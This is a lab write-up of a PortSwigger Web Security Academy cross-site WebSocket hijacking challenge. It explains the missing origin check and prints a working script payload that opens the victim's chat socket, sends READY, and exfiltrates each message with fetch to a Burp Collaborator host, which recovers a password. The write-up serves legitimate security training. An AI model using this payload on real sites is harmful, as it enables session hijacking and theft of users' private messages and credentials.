| Field | Detail |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | WebSockets — Cross-Site WebSocket Hijacking |
| Difficulty | Practitioner |
| Objective | Use the exploit server to perform cross-site WebSocket hijacking, exfiltrate the victim's chat history, then use it to access their account |
| Note | Must use the provided exploit server and/or Burp Collaborator's default public server — the Academy firewall blocks interactions with arbitrary external systems |
Cross-Site WebSocket Hijacking¶
I started by simulating a conversation in the live chat to understand the normal flow.
Checking the WebSockets history in Burp:
I cleared the history and refreshed the page to watch what happens from a clean state.
On page load, a READY message gets sent to the server first, and the full chat log follows over the WebSocket connection right after. That means READY is what triggers the server to replay the entire chat history to whoever's connected — with no apparent check on who's allowed to request it.
WebSocket handshakes are regular HTTP requests under the hood, and browsers send cookies along with them just like any other request. Without an origin check or anti-CSRF protection on the handshake, any page can open a WebSocket connection riding the victim's existing session cookies. Browser same-origin policy doesn't restrict WebSocket connections the way it restricts most cross-origin HTTP fetches — that's specifically why this attack class exists and needs its own defenses. If a page on our exploit server opens a connection to the lab's /chat endpoint, sends READY, and listens for responses, it gets the victim's full chat history delivered straight to us.
The payload:
<script>
var ws = new WebSocket('wss://0a130091048a515c81ec1623007f00f1.web-security-academy.net/chat');
ws.onopen = function() {
ws.send('READY');
};
ws.onmessage = function(info) {
fetch('https://hm7ztmm4cgid9io4xhrbtd2tyk4bs1gq.oastify.com/?teto=' + btoa(info.data));
};
</script>
This opens a WebSocket connection to the lab's chat endpoint, sends READY once the connection opens — mimicking exactly what the legitimate page does on load — then for every message the server pushes back, base64-encodes it and exfiltrates it via fetch to our Burp Collaborator domain. The fact that READY triggers a full history replay with no further authentication check on the WebSocket side means anyone who can open the connection gets everything, not just future messages.
I stored this as the body on the exploit server and delivered it to the victim.
Checking the Collaborator logs:
The victim's chat history came through in the captured requests.
The history included a password. Logging in as carlos:vjxuhk4m973o6ashcnmq:
Lab solved ??..??